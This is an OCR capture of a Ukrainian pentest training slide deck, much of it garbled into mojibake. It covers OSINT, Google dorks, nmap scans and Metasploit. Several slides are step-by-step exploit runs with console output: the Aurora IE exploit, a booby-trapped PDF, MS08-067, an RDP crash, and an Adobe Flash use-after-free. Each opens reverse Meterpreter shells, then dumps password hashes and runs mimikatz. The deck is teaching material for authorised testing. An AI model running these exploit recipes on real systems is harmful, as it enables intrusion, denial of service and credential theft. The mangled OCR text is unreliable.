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YBara!

ABTOp MauncCTep-K/1acy He Hece OAHOI BiAMOBiAa/IbHOCTI 32 MOX/IMBI
3OUTKM BHAC/IAOK 3aCTOCYBAHHA HMXYE PO3I/IAHYTUX iIHCTPYMEHTIB.

[lepeBipKa CTaHy 3aXMULLEHOCTI iIHGOPMaLIMHUX CUCTEM, LLLO Ha/lIeXaTb
IHLLMM 0COBaM MOXK/IMBA AuULLIE 32 HAABHOCTI 4OroBOpPY Ta A403BOAY.

lHaKLWe KarKyyu, He Hamaramtecsa BMKOPUCTOBYBATU 3400YyTi 3HAHHA
Ha Yy>KUX cucTemax 6e3 403B0/1y TX B/1ACHUKIB.



[IpO WO MU MOrOBOPUMO CbOrOAHI

* Pentest'n - wo ue i gna vyoro?

* MpakTuKka OSINT (Google, FOCA, Maltego)

» CKaHyBaHHA MepeX, CUCTEeM Ta cepBsiciB (#nmap)

* BUKOpUCTaHHA BpasmBocTel (#msfconsole)

» ®aza post-exploit (mimikatz, password recovery tools..)

* Ornag, KOPUCHUX akepe

* PeKoMeHaaLii Woa0 3axUCTY (3 YpaxyB8dHHAM honepeodHix nyHKmiIg)



Tpu kKAto4OBI Npob61emu |

* /lroau

* Bpas/iMBOCTI B TEXHO/OrIAX | MPOTOKO/1aX

* Heao/1iK KOMMNETEeHTHOCTI [ KpeaTUBHOCTI [ Yacy TOLLO

AKiCHUU mecm HA NPOHUKHEHHs O0O0NOMd2dE He /uwe sussumu
Heo0/1iKu 8 MexXHO0/02iaX | 8 nosediHUi hpauisHUKi8, ase U ompumamu
pekoMeHOauii Wod0 NOKPAWEHHA CMAHY 6e3neku KOMNAHi.



Pentest = penetration test

TecT Ha NMPOHMKHEHHA — Ue KOMIM/IEeKC MOroA*eHmx i3 3aMOBHMKOM 3aXOAiB
(He /MwWe TeXHIYHMX), CNPAMOBAHMX HA BUAB/IEHHA HeA0/iKiB/Bpa3/IMBOCTEN
iHbopMmaUiliHoi cuctemun (web-noptan, KopropaTUBHa Mepea i T.iH.)

[lpoBOAUTLCA MEpPioAMYHO 3 MEeTOH MNiATPMMAHHA MEBHOro piBHA Oe3neku +
3apagam BUXOBAHHA AUCUUNAIHM NpauiBHUKIB.

Black Hat vs White Hat

A03Bin [ 3BiTHICTb | PekoMeHaau,i

MeToauKH
Hasuuku _ TCP/IP, Win, NIX, Web, DB etc




Pentest

ICHyro4i Memo0oooaii

Open Source Security Testing Methodology Manual ~ (OSSTMM)

NIST Special Publication 800-115 (NIST 800-115)
Penetration Testing Execution Standard (PTES)
OWASP Testing Guide (OWASP)

PCI DSS Penetration Testing Guidance March 2015 (PCI DSS)


http://www.isecom.org/research/osstmm.html
http://csrc.nist.gov/publications/PubsSPs.html
http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
https://www.owasp.org/index.php/OWASP_Testing_Project
https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf

OSINT, couiazibHa IHXXeHepiA

OSINT - BMKOpPUCTAHHA iHGOpMaUIl 3 BIAKPUTUX AXKepe #/1era/lbHO
(Google, Facebook, Linkedin ...)

Soc. Eng. — aKT NCMXO0/10riYHOI MaHinyAauii/obmaHy ana 4OCArHEHHA
MeBHUX Liz1en, AKI MOXKYTb OYTU He B iHTepecax KepTBu.

(®peHK EbizHelin, Lykepbepe, MimHiK ..)
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OSINT 3a 4aciB X0104HOI BiHU

The decryption of a picture

3 MicALi aHai3y
Charles V. Reeves

B s
AR
|r..,

g , =5 ESTIMATED
- > IHxeHep Boston Edison .= [ URALS POWER SYSTEM
Ficure 1. The Central Despatching Office in Sverdiovsk 2 - EASTERH PORTION

L ) exd of 1957
T Diagram priscipally derived Fram phatograp
in Ogonk Ho. 29, July 1958, p 5, degacting
Contral Despatehing Office st Sverflva

o e SECREES

Fiouvre 4

SEGRET= 53


https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol11no3/html/v11i3a03p_0001.htm

CoulasbHa IHXeHepiad  NpuKaag 3 KIHO #1

[pOXaHHA PO34PYKYBATU 3iNCOBAHUM AOKYMEHT. Xiba CrpaBKHiN AXKEHT/IbMeH BigMOBUTL a1ei ?




CoulasbHa IHXeHepiad  NpUKAag 3 KIHO #1

®aewka mictuaa reverse shell, AKMM f03BO/MB BigaaneHe KepyBaHHA CKOMNPOMETOBAHOK CUCTEMOLO

C:\Home\User> nc.exe -n -vv -1 -p 8680

listening on [any] 8080 ...

connect to [192.168.1.100] from (sentraagatis.com) [157.257.273.12] 5

Bank Sentra Agatis

All connections are monitored and recorded

[NopyweHHA noniTnkn Ib




CoulasbHa IHXeHepiad  NpUKaag 3 KIHO #2

DiLLIMHIOBUM AINCT i3 MPOXaHHAM 3MiHWUTU Napo/b. [IpueaHanHA micTuTb .pdf pain i3 keylogger om
We strongly suggest you change your password.

D Password Security Guidelines.pdf




MoxAuBI cueHap

®i3nyHuM gocTyn

Ekcnnyatauisi BpasnuBocTi

CouianbHa iHxeHepis

MepexeBuii foctyn

T

IHcangep

[Momunka kKoHirypauii

T

il pea/ibHMX aTaK

3aBaHTaXeHHs Moaynis

| pentest’iB

BukpageHHs OOKYyMeHTIB

MigBuLLEHHS NpuBINeiB

[MpuxoByBaHHA 03HaK

CamoBiaHOBNEHHSA

BuBeneHHs 3 nagy

3OMpPHULTBO

LLnuryHcTeo

MigmiHa OOKyMeHTIB




He BCi pentest ¥ 04HaKOBO KOPUCHI ..

Run

Scanner




He BCi pentest ¥ 04HaKOBO KOPUCHI ..

Intelligence Gathering Foot Printing Vulinnearlzlt:;l'ty Post Exploitation




Tools: step by step

* Google, LinkedIn, Facebook, FOCA, Maltego  => setoolkit

* whois, nslookup, theharvester => setoolkit

* NMap + pe3y/bTaTu CKaHepiB Bpa3aneBocten  => Metasploit

* Metasploit ekcnayaTauis Bpas/immBocCTen => Meterpreter
* Meterpreter KOHTPO/1b Hag CUCTEMOIO => Mimikatz

* AHTUBIpYC 6/10KYy€ Baw payload? => Veil Framework



OSINT ocHOBM

root(@kali:~# whois domain.com
root@kali:~# nslookup domain.com

root(@kali:~# theharvester -d domain.com -1 100 -b all



OSINT _ Google dorks

site:
filetype:
ext:
intitle:
intext:
inurl:

https://www.exploit-db.com/google-hacking-database/


https://www.exploit-db.com/google-hacking-database/

OSINT Google dorks npukaaagu

intext:*mail.ru OR intext:*yandex.ru OR intext:*ukr.net site:mvs.gov.ua
intext:"confidential" filetype:pdf site:state.gov

intitle:pestome & intext:Windows & intext:VAB baHkK site:work.ua



OSINT FOCA aHazni3 meTagaHux
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OSINT Maltego cucrtemaTmsauia gaHux
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#NmMap KOPOTKa AO0BIAKa Mo K/Ar4vam

Requires Identifies Identifies

Command Privileged TCP UDP
Nmap Scan Syntax Access Ports Ports
TCP SYN Scan -s5 YES YES NO
TCP connect() Scan —sT NO YES NO
FIN Scan -sF YES YES NO
Xmas Tree Scan -s5X YES YES NO
Null Scan -sN YES YES NO
Ping Scan -sP NO NO NO
Version Detection -sV NO NO NO
UDP Scan —-sU YES NO YES
IP Protocol Scan -s0 YES NO NO
ACK Scan -sA YES YES NO
Window Scan —SW YES YES NO
RPC Scan -sR NO NO NO
List Scan -sL NO NO NO
Idlescan -s1 YES YES NO

FTP Bounce Attack -b NO YES NO




#nmap -sS  TCP SYN Scan, "half open”

Source
192.168.0.8

Source
192.168.0.8

—SYN + Port 113—»

- — RST—

—SYN + Fk”TéEﬂ-—-Jp

Destination
192.168.0.10

Destination
192.168.0.10

root@gkl’ :~# nmap -s5 -n -PO -F -T5 --reason --open 7.7.7.5

Starting Nmap 6.47 ( http://nmap.org ) at 2015-85-15 07:51 EDT
Nmap scan report for 7.7.7.5

Host is up, received arp-response (0.00033s latency) .

Not shown: 97 filtered ports

Reason: 97 no-responses

PORT STATE SERVICE REASON

139/tcp open netbios-ssn syn-ack

445/tcp open microsoft-ds syn-ack

3389/tcp open ms-wbt-server syn-ack

MAC Address: 08:00:27:07:83:BD (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds



#nmap -sT TCP connect Scan

root@gkl’:~# nmap -sT -n -F -T5 -vvv --reason --open 7.7.7.5

—5SY¥N + Port 21—,

Starting Nmap 6.47 ( http://nmap.crg ) at 2015-05-15 07:53 EDT
Initiating ARP Ping Scan at 07:53

o

-"I'-'_'_'_'_RST Scanning 7.7.7.5 [1 port]

Completed ARP Ping Scan at 07:53, 0.07s elapsed (1 total hosts)

Initiating Connect Scan at 07:53

Scanning 7.7.7.5 [100 ports]

. . Discovered open port 445/tcp on 7.7.7.5
Source Destination Discovered open port 3389/tcp on 7.7.7.5
192.168.0.8 192 168.0.10 Discovered open port 139/tcp on 7.7.7.5

Completed Connect Scan at 07:53, 1.42s elapsed (100 total ports)
Nmap scan report for 7.7.7.5

Host is up, received arp-response (0.00053s latency).

Scanned at 2015-05-15 07:53:01 EDT for Zs

Mot shown: 97 filtered ports

'—-—-{Sﬁth + Reason: 97 no-responses
Port 80— PORT  STATE SERVICE REASON
139/tcp open netbios-ssn syn-ack
.q.-—-—-EYN -'r‘ﬂ"'GK"_-_-_ 445/tcp open microsoft-ds syn-ack
3389/tcp open ms-wbt-server syn-ack
jl[:}{ MAC Address: 08:00:27:07:83:BD (Cadmus Computer Systems)
e
_-_-_-_-—|
g RST_'_'—'—-—}- . . Read data files from: fusr/bin/../share/nmap
ource Destination Nmap done: 1 IP address (1 host up) scanned in 1.65 seconds

192.168.0.8 192 168.0.10 Raw packets sent: 1 (28B) | Rcvd: 1 (28B)



#nmap -sF [-sX [-sN FIN / Xmas [ Null Scan

| P——
Source Destination
192.168.0.8 192.168.0.7
—FIN +Port 23—, ‘

Source Destination
192.168.0.8 192.168.0.7

-]

Source
192.168.0.8

-]

Source
192.168.0.8

‘—-FJNI UHG. PUSH + Part E1EI+

‘____._-—-‘RST——-—'_'_'_'

Destination
192.168.0.7

—FIN. URG, PUSH + port 79

Destination
192.168.0.7

[d

Source
192.168.0.8

3

Source
192.168.0.8

'_'_‘—UDDDEIE{H] S Pnn 438

Destination
192.168.0.7

'—-—-_UUDDEIDDO +Port 110 ‘

Destination
192.168.0.7



#nmap -sU UDP Scan

Source
192.168.0.8

Source
192.168.0.8

Source
192.168.0.8

T—UDF + pprt T

AN port Unreachable——

——UDPF + pop Bﬂ_'_'_'"

—_—

UDF’ + F‘m—[ 2001

«—UDP + Port 2001 Data——

Destination
192.168.0.10

Destination
192.168.0.10

Destination
192.168.0.10

root@gkly:~# rmap -sU -n -F -TS -wvv --reason --open 7.7.7.5

Starting Nmap 6.47 ( http://mmap.org ) at 2015-05-15 @7:55 EOT
Initiating ARP Ping Scan at 07:55

scanning /.7.7.5 [1 port]

Completed ARP Ping Scan at 07:55, 0.12s elapsed (1 total hosts)
Initiating UDP Scan at 07:55

Scanning 7.7.7.5 [100 ports]

Discovered open port 137/udp on 7.7.7.5

Completed UDP Scan at 07:55, 2.13s elapsed (100 total ports)
Mmap scan report for 7.7.7.5

Host 1is up, received arp-response (0.00042s latency).

Scanned at 2015-05-15 07:55:20 EDT for Zs

Not shown: 99 open|filtered ports

Reason: 99 no-responses

PORT STATE SERVICE REASON

137/udp open netbios-ns udp-response

MAC Address: (08:00:27:07:83:BD (Cadmus Computer Systems)

Read data files from: Sfusr/bin/../share/nmap
Mmap done: 1 IP address (1 host up) scanned in 2.61 seconds
Raw packets sent: 200 (6.972KB) | Rcvd: 2 (Z70B)



#nmap -sP _Ping Scan

Source
192.168.0.8

Source
192.168.0.8

ICMP Echa RE"JUE'S!—-—._-.

ICRp Echa RE"JUE'S!—-—._-.

«——ICMP Echo Reply———

Destination
192.168.0.10

Destination
192.168.0.10

root@gkl?:

# rmap -sP -n -T5 -wv 7.7.7.%

Starting Nmap 6.47 ( http://mmap.org ) at 2015-05-15 07:46 EDT
Initiating ARP Ping Scan at @7:46
Scanning 255 hosts [1 port/host]

Completed
Nmap scan
Nmap scan
Nmap scan
Nmap scan

ARP Ping Scan at 07:46, 1.67s elapsed (255 total hosts)
report for 7.7.7.0 [host down]

report for 7.7.7.1 [host down]

report for 7.7.7.2 [host down]

report for 7.7.7.3

Host is up (0.00045s latency).
MAC Address: (G8:00:27:8F:56:BC (Cadmus Computer Systems)

Nmap scan
Nmap scan

report for 7.7.7.4 [host down]
report for 7.7.7.5

Host is up (0.00029s latency).
MAC Address: (GB:00:27:07:83:BD (Cadmus Computer Systems)

Nmap scan
Nmap scan
Nmap scan

report for 7.7.7.6 [host down]
report for 7.7.7.8 [host down]
report for 7.7.7.9 [host down]



#nmap -A OS + Version Detection

root@gkl’:~# nmap -A -n -F -T5 --reason --open 7.7.7.5

—3SYN + Port 80—

Starting MNmap 6.47 ( http://nmap.org ) at 2015-05-15 07:57 EDT
4+—3SYN | ACK— Nmap scan report for 7.7.7.5
Host is up, received arp-response (0.00033s latency]).
_ﬂ_"_1_‘_$QS1:~—=—-__} Mot shown: 97 filtered ports
Reason: 97 no-responses
Source Destination PORT STATE SERVICE REASON  VERSION
192 168.0.8 192 168.0.10 139/tcp open netbios-ssn syn-ack

445/tcp open microsoft-ds syn-ack Microsoft Windows XP microsoft-ds
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Service

MAC Address: 08:00:27:07:83:BD (Cadmus Computer Systems)

Warning: 0SS5can results may be unreliable because we could not find at

—HTTP GET——» Device type: general purpose
< HTTP Data Running: Microsoft Windows XP
05 CPE: cpe:/o:microsoft:windows xp::sp3
ACK > 0S details: Microsoft Windows XP SP3

Metwork Distance: 1 hop
Service Info: 05: Windows; CPE: cpe:/o:microsoft windows

+—HTTP Data———

ACK /FIN——
Source Destination

192.168.08 ACK 192.168.0.10




#nmap -sO |P Protocol Scan

P Protocol Ox2o— > ‘

Source Destination
00:03:47:75:6B:89 00:30:48:11:AB:5A
———IP Protoca) Dxﬂﬁ-—-_._-.
«——RST—
Source Destination
192.168.0.8 192.168.0.10

root@gkly :~# nmap -s0 -n -PO -F -T% -vv --reason --open 7.7.7.5

Starting Nmap 6.47 ( http://nmap.org ) at 2015-85-15 G8:01 EDT

Initiating ARP Ping Scan at G8:01
Scanning 7.7.7.5 [1 port]

Completed ARP Ping Scan at 08:01, 0.07s elapsed (1 total hosts)

Initiating IPProto Scan at 08:01
Scanning 7.7.7.5 [145 ports]
Discovered open port 1/ip on 7.7.7.5

Completed IPProto Scan at B0B:02, 1.71s elapsed (145 total ports)

Nmap scan report for 7.7.7.5

Host is up, received arp-response (0.00024s latency).
Scanned at 2015-05-15 08:01:58 EDT for 2Zs

Not shown: 144 open|filtered protocols

Reason: 144 no-responses

PROTOCOL STATE SERVICE REASON

1 open icmp echo-reply

MAC Address: 0B:00:27:07:83:BD (Cadmus Computer Systems)

Read data files from: fusr/bin/../share/nmap
Mmap done: 1 IP address (1 host up) scanned in 2.03 seconds
Raw packets sent: 290 (5.952KB) | Rcvd: 2 (5EB)



#nmap -sA _ACK Scan

root@gkl7:~# nmap -sA -n -PO -F -T5 -vv --reason --open 7.7.7.5
TCP ACK + Pagt 184

Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-15 08:04 EDT

Initiating ARP Ping Scan at 08:04

Scanning 7.7.7.5 [1 port]

Completed ARP Ping Scan at 08:04, 0.14s elapsed (1 total hosts)

Initiating ACK Scan at @8:04
Scanning 7.7.7.5 [100 ports]

Source . . Completed ACK Scan at G8:04, 1.64s elapsed (1080 total ports)
Destination Nmap scan report for 7.7.7.5
69.240.103.51 68.46.234.161Host is up, received arp-response (0.00077s Latency).

Scanned at 2015-05-15 08:04:29 EDT for Zs
Not shown: 97 filtered ports
Reason: 97 no-responses
PORT STATE SERVICE REASON
139/tcp unfiltered netbios-ssn reset
RST————— 445/tcp unfiltered microsoft-ds reset
g 3389/tcp unfiltered ms-wbt-server reset
MAC Address: 08:00:27:07:83:BD (Cadmus Computer Systems)

Read data files from: fusr/bin/../share/nmap
Source Destination Mmap done: 1 IP address (1 host up) scanned in 2.21 seconds

£9.240.103.51 68.46.234 161 Raw packets sent: 199 (7.948KB) | Rcwd: 5 (188B)




#nmap -sl host:port IdleScan

SYMN+Port 135
Spoofed from 192.168.07 ™
w”/
P
"ﬁ gt ry;,
L3 ﬁa,.ﬁ

= )
! Destination
192.168.0.8 B 192.168.0.5

: .
Source ! Destination
192 168.0.8 192.168.0.5
Zombie Zombie
192 168.0.7 192 .168.0.7
Destination
192 .168.0.8 192.168.0.5

Zombie
192.168.0.7



#Nmap MNpaKTU4HI Nopaau #1

-sL nepeBipka napameTpiB 6e3 akTUBHOIo CKaHYBaHHHA
-sP _ cnepuy, WBUAKKK ping scan nigMmepexi

-SS _ OCHOBHUMU pexum ana 36opy iHPpopmauil npo NopTH
-sO  ANA BUAB/IEHHA MepeXeBoro 06/1agHaHHA

-SA  AN1A BUAB/IEHHA MOPTIB 3aKpUTUX OpaHgMayepom
-sl _ CKaHyBaHHA NopTiB Yepes T1.3. “30Mbi-mawnHy”

-A _ Bu3Ha4veHHA OCTa M3 (-sV & -0)



#Nmap MNpakKTU4HI nopaau #2

#nmap -sS -F -n -T4 -vv —-reason 8.8.8.8 (100 noprTiB)
#nmap -sS  -n-T4 -vv -reason 8.8.8.8 (1000 noprTiB)
#nmap -sS -p--n -T4 -vv -reason 8.8.8.8 (65535 nopTiB)

#nmap -sS -F -n -To -vv --reason 8.8.8.8 (5XB MiK NakeTamm)
#nmap -sS  -n-T4 -vv -reason 8.8.8.8 (10 MC MiX nakeTammn)
#nmap -sS -p- -n -T5 -vv --reason 8.8.8.8 (5 MC MixK nakeTammu)



#Nmap MNpakTU4HI nopaau #3

#nmap -sS  -F-n-T5-vvv --reason --open 8.8.8.8 (ping)
#nmap -sS -Po -F -n -T5 -vvv --reason --open 8.8.8.8 (NO ping)
#nmap -sS -Pn -F -n -T5 -vvv --reason --open 8.8.8.8 (NO ping)

#nmap -sS -Po -A -n -T4 -vvv --reason --open 8.8.8.8
#nmap -sS -Po -p--n -T4 -vvv -reason --open 8.8.8.8 -0A log.txt



#msfconsole wnapraska

root@kali:~# service postgresql start && service metasploit start
root(@kali:~# msfconsole

msf > msfupdate

msf > search Zmodule name?%

msf > use Zmodule name?

msf > set payload %payload name?%

msf > show options

msf > set Zexploit & payload options%
msf > exploit



#meterpreter Linapraska

getuid [ getpid [ getsid [ getsystem
ps [ kill / sysinfo [ arp [ route [ netstat
pwd [ cd [ upload [ download [ edit
execute -f-h -t

screenshot [ webcam

record mic

keyscan start dump stop

shell / shutdown / reboot [ clearenv



#msfconsole npukaagm ekcnaomTiB

Win XP
+ Ms10_002_aurora
+ Ms08 067 netapi
+ adobe pdf embedded exe
+Ms12_020
Win 7

+ adobe flash_worker (2015-0313)
+ ask (UAC privileges escalation)
+java_signed applet



#msfconsole ms10 002 aurora

<} http://7.7.7.7/aurora?uDp¥hdGjGTM - Microsoft Internet Explorer (Mot Responding)

msf = use exploit/windows/browser/msl@ 002 aurora File Edt View Favorites Tools  Help
msf exploit(mslE 002 aurora) = set srvheost 7.7.7.7 @Back . o . D @ \:h|pgearch *Fmrites @‘ @. f;s 3
srvhost ::.: 7.7.7.7 Address @ http:{7.7.7. 7jaurora?=Dp¥hdGiGTM
msf exploit(mslE G0Z aurora) = set srvport 80
srvport == 80 .
mst exploit(mslE 002 aurora) = set uripath faurora HostNéme. VMXP
uripath == /aurora Boot Time: 5/14/2015 9:57 AM
mst exploit(mslE 002 aurora) = set payload windows/meterpreter/reverse tcp
payload == windows/meterpreter/reverse tcp IP Address: 7.7.7.5
mst exploit(mslE GO0Z aurora) = set lhost 7.7.7.7 Machine Domain: TEST
lhost == 7.7.7.7
mst exploit(mslE G0Z aurora) = set lport 443 Memory: 2048 MB
lport == 443
msf exploit(mslG 002 aurora) = set autorunscript migrate -f 0S Version: Windows XP
autorunscript == migrate -f Service Pack: Service Pack 3
msf exploit(mslE 002 aurora) = exploit
[*] Exploit running as background job.
User Name: root

[*] Started reverse handler on 7.7.7.7:443 Volumes: C:A5.01 GB NTFS
msf exploit(msle 002 aurora) = [*] Using URL: http://7.7.7.7:80/aurora E:\4.98 GB NTF%

Server started.

7.7.7.5 msl@ 002 aurora - Sending MS18-002 Microsoft Internet Explorer "Aurora" Memory Corruption

Sending stage (BBZ268E bytes) to 7.7.7.5

Meterpreter session 1 opened (7.7.7.7:443 -= 7.7.7.5:1021) at 2015-05-15 09:03:06 -0400
Session ID 1 (7.7.7.7:443 -= 7.7.7.5:1031) processing AutoRunScript 'migrate -f'
Current server process: lexplore.exe (1648)

Spawning notepad.exe process to migrate to

Migrating to 436

Successfully migrated to process

[ B W e e B e B B |
[ S T S N S

Id Type Information Connection

1 meterpreter x86/win32 VMXPh\root @ VMXP 7.7.7.7:443 -= 7.7.7.5:1031 (7.7.7.5)



#msfconsole adobe pdf embedded exe

a Index of / - Microsoft Internet Explorer

msf = use exploit/windows/fileformat/adobe pdf embedded exe File Edit Wiew Favorites Tools  Help

msf exploit(adobe pdf embedded exe) = set infilename lampsec ctf8.pdf ) ) “ | n _ S
infilename == lampsec ctf8.pdf Qe - @ - [x] 2] & - search ¢ Favortes €?| T by
msf exploit(adobe pdf embedded exe) = set filename lampsec ctfB.pdf nmjﬁsﬁah“mﬁll?JI |

filename == lampsec_ctf8.pdf

msf exploit(adobe pdf embedded exe) = set launch _message DO NOT OPEN THIS FILE!!!
launch_message => DO NOT OPEN THIS FILE!!! Index of /
msf exploit(adobe pdf embedded exe) = set payload windows/meterpreter/reverse tcp
payload == windows/meterpreter/reverse tcp

msf exploit(adobe pdf embedded exe) > set lhost 7.7.7.7 Name Last modified  Size Description
lhost == 7.7.7.7

msf exploit(adobe pdf embedded exe) = set lport 777 lampsec cHB.pdf 15-May-2015 09:59 2.8M

lport == 777

msf exploit({adobe pdf embedded exe] = exploit
-~ - ApachelZ.2.22 (Debian) Server at 7.7.7.7 Part 80

"] Reading in 'lampsec_ctf8.pdf'...

"] Parsing 'lampsec_ctf8.pdf'... |Ad¢Eﬁ & http:fi7.7.7 7 /lampsec_ctfa,pdf

"] Using 'windows/meterpreter/reverse tcp' as payload... . . N : B e e 5

"] Parsing Successful. Creating 'lampsec ctfB8.pdf' file... = ﬁ ‘E* =

FanycTuTh diain

e

lampsec ctfB8.pdf stored at /root/.msf4/local/lampsec ctfB.pdf
exploit(adobe pdf embedded exe) = cp /root/.msfd4/local/lampsec_ctf8.pdf /var/www
exec: cp /root/.msf4/local/lampsec ctf8.pdf /var/www

=3
i
—

' M&FN M NPOrpaMMa ero NPOCMOTRE HACTROEHE! TaKHM 00pasoHm,
= FanyWeHel ME 3aToro PDF-dakina, Dafn MoxeT CcodepHaTe npol
MEKPOCE MMM BHMPYCE], KOTOPEIE MOMYT NOEREAMTE KOMMEHITED

—
—

OTKPBIEATE TONBKO B CNYYas, ECNH Bbl YEEPEHEI E ErO fezona

msf exploit(adobe pdf embedded exe) = service apacheZ start afin Bein pasMeWEH HAAEKHEIM NONE30EATENEM HIH NPOBEpE
[*] exec: servic e_apaEhQE sta r{ NPOrpaTMor, MOoMHD HasaTe "OTEPEITE", YTOOR NPOCMOTRETE
mst exploit(handler) = exploit -j
[*] Exploit running as background job. AT

20 NOT OPEM THIS FILE!N!

3 —
n
—hl—l

Started reverse handler on 7.7.7.7:777
exploit(handler) = [™ He nokaseiBaTe AaHHOE COOBWEHHE B AaNEHERWEM

Starting the payload handler...
d Fay 775 OTEDBITE | E
ey |

Sending stage (882688 bytes) to 7
Meterpreter session 5 opened (7.7 J7 -= 7.7.7.5:10358) at Z2015-05-15 10:09:40 -0460

— o
—_




#msfconsole mso8 067 netapi

msf = use exploit/windows/smb/ms@8 067 netapi

msf exploit(ms@8 @67 netapi) = set rhost 7.7.7.5

rhost == 7.7.7.5

msf exploit(msEE 067 netapl) = set payload windows/meterpreter/reverse tcp
payload == windows/meterpreter/reverse tcp

mst exploit(msE8 067 netapi) = set lhost 7.7.7.7

lThost == 7.7.7.7

msf exploit(ms@8 @67 netapi) = set lport 443

lport == 443

mst exploit(msE8 067 netapi) = exploit

[*] Started reverse handler on 7.7.7.7:443

[*] Automatically detecting the target...
Jopt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/recog-1.0.27/1ib/recog/fingerprint / rege
d '?'" was replaced with '*' in regular expression

[*] Fingerprint: Windows XP - Service Pack 3 - lang:English

[*] Selected Target: Windows XP SP3 English ([AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (B88B2688 bytes) to 7.7.7.5

[*] Meterpreter session 2 opened (7.7.7.7:443 -= 7.7.7.5:1032) at 2015-05-15 09:12:25 -0400

meterpreter = getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter = hashdump

ghost ;501 :ceebBdfaSf240cZ2009b8c10b85] fedb9T : ced804d6842ec3l f2daibefefeldillea: i :
root :500:b0109442b77b46c74a3b108T3Tabched : 79f1c5f991f49155f8a543428da5c75b2: 1 :
support : 16003 :55d0be@7aaZe7719cc f9155e327db453: 41 2085664 22(36b5b4973d8c32d3b6e 1 1 :

meterpreter = pwd

C:\WINDOWSY\system32

meterpreter = upload mimidrv.sys

[*] uploading : mimidrv.sys -= mimidrv.sys
[*] uploaded : mimidrv.sys -= mimidrv.sys
meterpreter = upload mimilib.dl1

[*"] uploading : mimilib.dll -= mimilib.dll

[*] uploaded : mimilib.dll -= mimilib.dLll
meterpreter = upload mimikatz.exe

[*] uploading : mimikatz.exe -= mimikatz.exe
[*"] uploaded s mimikatz.exe -= mimikatz.exe

Fie E4 relp
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Bcce o DLP cycTemax Ha YKpaWHCKoM phiHke MB

Tii Gomwen cdenams doBDo U3 3a, NOMOMY YM0 820 GOBWE HE U3 4820 "
v Host Name: VMXP

Boot Time: 5/14/2015 9:57 AM

Kak n Bcerpa - BCe, YTO HANWCAHO HWKE, BbipaXaeT Moe
NUYHOE MHEHME. IP Address: 7175
Machine Domain: ~ TEST
Mpexae yem A nepeilay K WINCHKEHHMIO CBOGA TOUKM 3PEHNA Memory: 2048 MB
KacaTentHo DLP cHCTeM Ha YKDaUHCKOM PhiHKE, A X04Y NOAYEPKHYTE
cnegyiowee. He 3aeucumo or ofnactu  Gu3veca, obbemoB
6

, TOMK OT BHEApEeHHA niobbix 05 Version: Windows XP

"
aumTHbx Mep (DLP, MDM, SIEM) Gyaer nuwb B Tom cnyuae, Service Pack: Service Pack 3
For Help,press FL T 4
User Name: root
Volumes: C:\5.01 GB NTFS
E:\ 4.98 GB NTFS

mimikatz # sekurlsa::logonpasswords

Authentication Id : @ ; 276727 (00Q00EQ00:000438f7)

Session : Interactive from G
User MName : root
Domain : WMXP
SID 1 S-1-5-21-2025429265-113007714-85424
msv .
[OEGEEEG2] Primary
* Username : root
* Domain : WMKP
* LM : bO109442b77bd6c74a3b108F3fabebEed
* NTLM i 78f1chEf99149155Ff8a5434e8dabe 7502
* SHAL : Z2blabdcfaBf8302d6T7110adA5c883b5-
wdigest
¥ —
+
¥
kerberos
* UUsername : root
* Domain 1 VMXP

* Password : PE$$wWErD



#msfconsole ms12 020

msf = use auxiliary/dos/windows/rdp/msl2 020 maxchannelids
mst auxiliary(mslZ 020 maxchannelids) = show options

Module options (auxiliary/dos/windows/rdp/msl2 020 maxchann _(Ol I

o M

Name Current Setting Required Description

L A problem has been detected and windows has been shut down to prevent damage
RHOST The t ¢ add CO yOur Computer.
Yes 2 Target address
RPORT 3389 yes The target port he problem seems to be caused by the following file: RDPWD.SYS
PAGE_FAULT_IMN_MOMPAGED_AREA
msf auxiliary(mslZ 020 maxchannelids) = set rhost 7.7.7.5 s o bt e .
— — If this is : \ en this Stop error screen,
rhost == 7.7.7.5 restart . screen appears again, fal
msf auxiliary(mslZ 020 maxchannelids) = exploit these steps:
“heck tTo make sure any new hardware or software is properly installed.
J.7.7.5:3389 - Sending MS12-020 Microsoft Remote Deskto i i sour hardware or software manufacturer
7.7.7.5:3389 - 210 bytes sent ar any windows updates wou might need.
J.7.7.5:3389 - Checking RDP status... If problems continue, disable or remo
7.7.7.5:3389 seems down - e 1-.-:| sanie BIC: memory opt
Auxiliary module execution completed omputer,
msf auxiliary(mslZ 020 maxchannelids) = select safe Mode.

echnical information:

4, 0 000, OxBFL5DLO7,

RDPWD. SYS - Address BPLSD107 bhase at B7141000, DatesStamp 48025

B oo amd| @ Frihtcr




#msfconsole 2015-0313 (Adobe Flash)

msf > use exploit/windows/browser/adobe flash worker byte array_uaf
mst exploit(adobe flash worker byte array uaf) = set srvhost 7.7.7.7
srvhost == 7.7.7.7
E exploit|[adobe_ﬂaah_worker_byte_arra‘j‘_uaf]l > set Srvpo rt 80 {2 http://7.7.7.7 {flash/ttwHZo/ - Windows Internet Explorer
srvport == 80 CYRIE oo FE— — | =
msf exploit(adobe flash worker byte array uaf) = set uripath /flash gsz:;lgﬁumjjlzﬂlth' =B
uripath == /flash g Favarites @ hip:/(7.7.7.7/fash/ttwtZo/
msf exploit(adobe flash worker byte array uaf) = set payload windows/meterpreter/reverse tcp
payload == windows/meterpreter/reverse tcp
msf exploit(adobe flash worker byte array uaf) = set lhost 7.7.7.7 Host Name: WIN7
lhost == 7.7.7.7 Boot Time: 5/14/2015 9:59 AM
msf exploit(adobe flash worker byte array uaf) = set lport 443
lport => 443 IP Address: 7.7.7.3
msf exploit(adobe flash worker byte array uaf) = exploit s BT SKY
[*] Exploit running as background job. :
Memory: 4096 MB
[*] Started reverse handler on 7.7.7.7:443
msf exploit(adobe flash worker byte array uaf) = [*] Using URL: http://7.7.7.7:80/flash OS Version: Windows 7

Server started.

Sending stage (B8Z268E bytes) to 7.7.7.3

¥
7.7 .3
1 7.7.7.3
1 7.7.7.3
S A A
7.7 .3
1 7.7.7.3
y
¥

e e W e W W e B e N e B e e N
— — e

[64]

—
—

